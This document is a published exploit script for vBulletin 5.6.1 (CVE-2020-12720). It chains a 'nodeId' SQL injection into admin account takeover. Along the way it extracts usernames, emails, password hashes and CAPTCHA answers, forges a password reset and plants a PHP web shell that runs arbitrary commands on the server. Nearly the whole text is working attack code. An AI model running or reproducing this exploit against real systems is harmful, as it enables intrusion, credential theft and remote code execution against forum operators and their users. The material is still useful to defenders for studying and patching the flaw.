vBulletin 5.6.1 – ‘nodeId’ SQL Injection

# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection

# Date: 2020-05-15

# Exploit Author: Photubias

# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1

# Version: vBulletin v5.6.x (prior to Patch Level 1)

# Tested on: vBulletin v5.6.1 on Debian 10 x64

# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE

#!/usr/bin/env python3

'''

This program is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2020-12720.py

written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 3.

Works equally well on Windows as Linux (as MacOS, probably ;-)

##-->> Full creds to @zenofex and @rekter0 <<--##

'''

import urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string

## Static vars; change at will, but recommend leaving as is

sADMINPASS = '12345678'

sCMD = 'id'

sURL = 'http://192.168.50.130/'

sUSERID = '1'

sNEWPASS = '87654321'

iTimeout = 5

## Ignore unsigned certs

ssl._create_default_https_context = ssl._create_unverified_context

## Keep track of cookies between requests

cj = http.cookiejar.CookieJar()

oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def randomString(stringLength=8):

letters = string.ascii_lowercase

return ''.join(random.choice(letters) for i in range(stringLength))

def getData(sUrl, lData):

try:

oData = urllib.parse.urlencode(lData).encode()

oRequest = urllib.request.Request(url = sUrl, data = oData)

return oOpener.open(oRequest, timeout = iTimeout)

except:

print('----- ERROR, site down?')

sys.exit(1)

def verifyBug(sURL,sUserid='1'):

sPath = 'ajax/api/content_infraction/getIndexableContent'

lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'}

sResponse = getData(sURL + sPath, lData).read().decode()

if not 'cve-2020-12720' in sResponse:

print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!')

return False

else:

print('[+] SQLi Success!')

return True

def takeoverAccount(sURL, sNEWPASS):

sPath = 'ajax/api/content_infraction/getIndexableContent'

### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720

## Get Table Prefixes

lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'}

sResponse = getData(sURL + sPath, lData).read().decode()

if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').replace('language','')

else: sPrefix = ''

#print('[+] Got table prefix "'+sPrefix+'"')

## Get usergroup ID for "Administrators"

lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\'Administrators\';--'}

sResponse = getData(sURL + sPath, lData).read().decode()

sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')

#print('[+] Administrators Group ID: '+sGroupID)

## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation

lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'}

sResponse = getData(sURL + sPath, lData).read().decode()

sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').split('|')

#print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg)

## Let's create a Human Verify Captcha

sPath = 'ajax/api/hv/generateToken?'

lData = {'securitytoken':'guest'}

sResponse = getData(sURL + sPath, lData).read().decode()

if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('"','')

else: sHash = ''

## Get the captcha answer from DB

sPath = 'ajax/api/content_infraction/getIndexableContent'

lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'}

sResponse = getData(sURL + sPath, lData).read().decode()

if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"',''))

else: iAnswers = 1

lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'}

sResponse = getData(sURL + sPath, lData).read().decode()

if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')

else: sAnswer = ''

## Now request PW reset and retrieve the token

sPath = 'auth/lostpw'

lData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'}

sResponse = getData(sURL + sPath, lData).read().decode()

sPath = 'ajax/api/content_infraction/getIndexableContent'

lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'}

sResponse = getData(sURL + sPath, lData).read().decode()

if 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')

else: sToken = ''

## Finally the password reset itself

sPath = 'auth/reset-password'

lData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'}

sResponse = getData(sURL + sPath, lData).read().decode()

if not 'Logging in' in sResponse:

print('[-] Failed to reset the password')

return ''

else:

print('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS)

return sUserid

def createBackdoor(sURL, sADMINPASS, sUserid='1'):

## Activating Sitebuilder

sPath = 'ajax/activate-sitebuilder'

lData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}

oResponse = getData(sURL + sPath, lData)

if not oResponse.code == 200:

print('[-] Error activating sitebuilder')

sys.exit(1)

## Confirming the password, getting new securitytoken

sPath = 'auth/ajax-login'

lData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}

oResponse = getData(sURL + sPath, lData)

sResponse = oResponse.read().decode()

if 'lostpw' in sResponse:

print('[-] Error: authentication for userid ' + sUserid + ' failed')

sys.exit(1)

sToken = sResponse.split(',')[1].split(':')[1].replace('"','').replace('}','')

print('[+] Got token: '+sToken)

## cpsession is needed, use this for extra verification

#for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc

## First see if our backdoor does not already exists

sPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper'

lData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken}

oResponse = getData(sURL + sPath, lData)

sResponse = oResponse.read().decode()

if 'cve-2020-12720' in sResponse:

sPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0]

print('[+] This machine was already pwned, using "' + sPageName + '" for your command')

return sPageName

## Create a new empty page

sPath = 'ajax/api/widget/saveNewWidgetInstance'

lData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken}

oResponse = getData(sURL + sPath, lData)

sResponse = oResponse.read().decode()

sWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','')

sPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','')

print('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID)

## Now submitting the page content

sPageName = 'cve-2020-12720-'+randomString()

sPath = 'ajax/api/widget/saveAdminConfig'

lData = {'widgetid':'23',

'pagetemplateid':sPageTemplateID,

'widgetinstanceid':sWidgetInstanceID,

'data[widget_type]':'',

'data[title]':sPageName,

'data[show_at_breakpoints][desktop]':'1',

'data[show_at_breakpoints][small]':'1',

'data[show_at_breakpoints][xsmall]':'1',

'data[hide_title]':'0',

'data[module_viewpermissions][key]':'show_all',

'data[code]':"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');",

'securitytoken':sToken}

oResponse = getData(sURL + sPath, lData)

if not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName)

## Finally saving the new page

sPath = 'admin/savepage'

lData = {'input[ishomeroute]':'0',

'input[pageid]':'0',

'input[nodeid]':'0',

'input[userid]':'1',

'input[screenlayoutid]':'2',

'input[templatetitle]':sPageName,

'input[displaysections[0]]':'[{"widgetId":"23","widgetInstanceId":"' + sWidgetInstanceID + '"}]',

'input[displaysections[1]]':'[]',

'input[displaysections[2]]':'[]',

'input[displaysections[3]]':'[]',

'input[pagetitle]':sPageName,

'input[resturl]':sPageName,

'input[metadescription]':'Photubias+Shell',

'input[pagetemplateid]':sPageTemplateID,

'url':sURL,

'securitytoken':sToken}

oResponse = getData(sURL + sPath, lData)

if not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName)

return sPageName

def main():

if len(sys.argv) == 1:

print('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>')

print(' Example: ./CVE-2020-12720.py http://192.168.50.130/ "cat /etc/passwd"')

print(' But for now, ask questions then')

sURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ')

if sURL == '': sURL = 'http://192.168.50.130'

else:

sURL = sys.argv[1]

sCMD = sys.argv[2]

if not sURL[:-1] == '/': sURL += '/'

if not sURL[:4].lower() == 'http': sURL = 'http://' + sURL

print('[+] Welcome, first verifying the SQLi vulnerability')

if verifyBug(sURL):

print("----\n" + '[+] Attempting automatic admin account takeover')

sUSERID = takeoverAccount(sURL, sNEWPASS)

sADMINPASS = sNEWPASS

if sUSERID == '':

sUSERID = '1'

sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')

else:

sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')

print("----\n"+'[+] So far so good, attempting the creation of the backdoor')

sPageName = createBackdoor(sURL, sADMINPASS, sUSERID)

if len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ')

if sCMD == '': sCMD = 'id'

sCmd = urllib.parse.quote(sCMD)

sPath = sPageName + "?cmd=" + sCmd

print('[+] Opening '+sURL + sPath)

try:

oRequest = urllib.request.Request(url = sURL + sPath)

oResponse = oOpener.open(oRequest, timeout = iTimeout)

print('#######################')

sResponse = oResponse.read().decode()

print('[+] Command result:')

print(sResponse.split('###SHELLRESULT###')[1])

except:

print('[-] Something went wrong, bad command?')

sys.exit(1)

if __name__ == "__main__":

main()

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